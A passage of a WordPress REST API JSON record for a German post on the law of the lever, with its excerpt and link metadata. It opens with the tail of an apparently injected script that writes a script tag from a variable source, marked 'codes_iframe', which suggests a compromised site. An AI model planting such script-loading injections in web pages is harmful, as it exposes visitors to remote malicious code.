src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Das Hebelgesetz Am Beispiel einer Waage ist das Hebelgesetz leicht zu verstehen. Die Waage bleibt im Gleichgewicht, wenn das Produkt aus Kraft mal Abstand vom Drehpunkt auf beiden Seiten gleich ist. Daraus folgt das Hebelgesetz: Kraft \u00b7 Kraftarm = Last \u00b7 Lastarm F1 \u00b7 r1= F2 \u00b7 r2 Die Begriffe Kraftarm und Lastarm sind missverst\u00e4ndlich, &hellip; <a href=\"http:\/\/haarindersuppe.com\/wordpress\/2018\/02\/27\/hebelgesetz\/\" class=\"more-link\"><span class=\"screen-reader-text\">&#8222;Hebelgesetz&#8220; <\/span>weiterlesen<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,33],"tags":[],"_links":{"self":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts\/928"}],"collection":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/comments?post=928"}],"version-history":[{"count":1,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts\/928\/revisions"}],"predecessor-version":[{"id":1466,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/posts\/928\/revisions\/1466"}],"wp:attachment":[{"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/media?parent=928"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/categories?post=928"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/haarindersuppe.com\/wordpress\/wp-json\/wp\/v2\/tags?post=928"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}